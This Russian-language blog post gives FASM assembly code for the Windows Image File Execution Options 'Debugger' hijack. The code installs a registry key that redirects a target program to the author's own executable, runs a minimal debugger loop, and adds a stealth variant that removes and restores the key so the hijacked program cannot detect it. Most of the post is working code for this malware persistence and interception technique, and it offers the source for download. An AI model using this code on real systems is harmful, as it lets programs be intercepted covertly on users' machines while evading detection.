Blog. Just Blog

Работа с Image File Execution Options на Ассемблере

Версия для печати Добавить в Избранное Отправить на E-Mail | Категория: Образ мышления: Assembler | Автор: ManHunter
Не так давно я выкладывал статью про использование Image File Execution Options, где обещал провести эксперименты на Ассемблере. Всю теорию про IFEO вы можете прочитать по приведенной ссылке, дублировать я ее тут не буду.

Начнем с установки перехватчика. Тут все просто, создаем ключ в реестре, затем в нем создаем параметр "Debugger" с указанием пути к нашему файлу.
  1. ; Ключ реестра
  2. victim_key db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\'
  3.            db 'Image File Execution Options\victim.exe',0
  4. ; Путь к нашему отладчику
  5. debug_key  db 'Debugger',0
  6. ...
  7. ...
  8.         invoke  RegCreateKeyEx,HKEY_LOCAL_MACHINE,victim_key,0,0,\
  9.                 REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,0,phkResult,lpdwDisp
  10.         ; Путь к отладчику
  11.         invoke  lstrlen,evil
  12.         invoke  RegSetValueEx,[phkResult],debug_key,0,REG_SZ,evil,eax
  13.         invoke  RegCloseKey,[phkResult]
Удаление перехватчика тоже не должно вызывать сложностей. Можно просто грохнуть параметр "Debugger", это будет правильно в случае с системными приложениями типа браузеров. Для пользовательских приложений лучше удалять соответствующую ветку реестра целиком, чтобы не засорять систему своим мусором:
  1.         invoke  SHDeleteKey,HKEY_LOCAL_MACHINE,victim_key
Для всех этих операций может потребоваться запуск с правами Администратора, а также при должной настройке может сработать UAC.

При запуске программы-жертвы система запускает отладчик, передавая ему в качестве параметра командной строки полный путь запуска программы. Разобрать командную строку можно самостоятельно или с помощью какого-нибудь готового решения, это уже на ваше усмотрение. Итак, у нас есть путь запуска жертвы. Выполнив все необходимое в отладчике, необходимо запустить жертву, но просто так запустить ее нельзя. При попытке вызвать WinExec, ShellExecute(Ex) и иже с ними мы получим просто новый запуск отладчика. Обойти это поведение можно при помощи функции CreateProcess с флагом DEBUG_PROCESS. Ну логично, чо, мы же взяли на себя функцию отладчика, вот и надо ей соответствовать. Но нельзя просто указать этот флаг в параметрах запуска, придется также реализовать процесс отладки, пусть и в самом примитивном виде.
  1.         ; Запустить процесс
  2.         invoke  CreateProcess,victim,0,NULL,NULL,NULL,\
  3.                 NORMAL_PRIORITY_CLASS+DEBUG_ONLY_THIS_PROCESS,NULL,NULL,\
  4.                 sinfo,pinfo
  5.         ; Цикл отладчика
  6. @@:
  7.         ; Ожидаем событие от запущенного процесса
  8.         invoke  WaitForDebugEvent,debug_event,INFINITE
  9.         or      eax,eax
  10.         jz      loc_exit
  11.         ; Процесс завершен?
  12.         cmp     [debug_event.dwDebugEventCode],EXIT_PROCESS_DEBUG_EVENT
  13.         je      loc_exit
  14.         ; Продолжаем выполнение программы
  15.         invoke  ContinueDebugEvent,[debug_event.dwProcessId],\
  16.                 [debug_event.dwThreadId],DBG_CONTINUE
  17.         jmp     @b
При завершении дочернего процесса мы завершаем работу и выходим из процесса отладчика. Существенный минус такой реализации перехвата заключается в том, что процесс-жертва может легко обнаружить факт нашего вмешательства при помощи банального IsDebuggerPresent. Еще один минус, что процесс отладчика должен постоянно висеть в памяти до момента окончания работы программы-жертвы, а это дополнительное палево. Как я понимаю, автор зловреда из первоначальной статьи или не осилил написание своего цикла отладчика, или решил не заморачиваться с запуском оригинальных браузеров, чтобы не палиться на отладке. Впрочем, может быть просто на говносайте были размещены какие-то эксплойты, заточенные под Internet Explorer. Сейчас это уже не узнать.

Мне стало интересно, а можно ли сделать так, чтобы и наш отладчик запустился, и жертва об этом ничего не узнала? Подумал, потестировал, в итоге получилось следующее:
  1.         ; Удалить ключ реестра
  2.         invoke  SHDeleteKey,HKEY_LOCAL_MACHINE,victim_key
  3.  
  4.         ; Запустить процесс обычным способом 
  5.         invoke  CreateProcess,victim,0,NULL,NULL,NULL,\
  6.                 NORMAL_PRIORITY_CLASS,NULL,NULL,sinfo,pinfo
  7.  
  8.         ; Вернуть обратно ключ реестра
  9.         invoke  RegCreateKeyEx,HKEY_LOCAL_MACHINE,victim_key,0,0,\
  10.                 REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,0,phkResult,lpdwDisp
  11.         invoke  lstrlen,evil
  12.         invoke  RegSetValueEx,[phkResult],debug_key,0,REG_SZ,evil,eax
  13.         invoke  RegCloseKey,[phkResult]
При получении управления отладчик первым делом удаляет ключ Debugger из реестра, тем самым "освобождая" жертву. Теперь ее можно запускать любым способом, хоть через WinExec, хоть через CreateProcess без флага отладки. Запустив дочерний процесс, отладчик возвращает ключ отладки обратно в реестр и завершает работу. В памяти не висит ничего лишнего, жертва запущена в обычном режиме, перехватчик для следующих запусков на месте. Цель достигнута.

В приложении примеры программ с исходными текстами для установки классического отладчика и отладчика с альтернативной обработкой.

Примеры программ с исходными текстами (FASM)Примеры программ с исходными текстами (FASM)

Image.File.Execution.Options.Demo.zip (5,561 bytes)


Поделиться ссылкой ВКонтакте
Просмотров: 1782 | Комментариев: 0

Внимание! Статья опубликована больше года назад, информация могла устареть!

Комментарии

Отзывы посетителей сайта о статье
Комментариeв нет

Добавить комментарий

Заполните форму для добавления комментария
Имя*:
Текст комментария (не более 2000 символов)*:

*Все поля обязательны для заполнения.
Комментарии, содержащие рекламу, ненормативную лексику, оскорбления и т.п., а также флуд и сообщения не по теме, будут удаляться. Нарушителям может быть заблокирован доступ к сайту.
Наверх
Powered by PCL's Speckled Band Engine 0.2 RC3
© ManHunter / PCL, 2008-2024
При использовании материалов ссылка на сайт обязательна
Время генерации: 0.07 сек. / MySQL: 2 (0.0041 сек.) / Память: 4.5 Mb
Наверх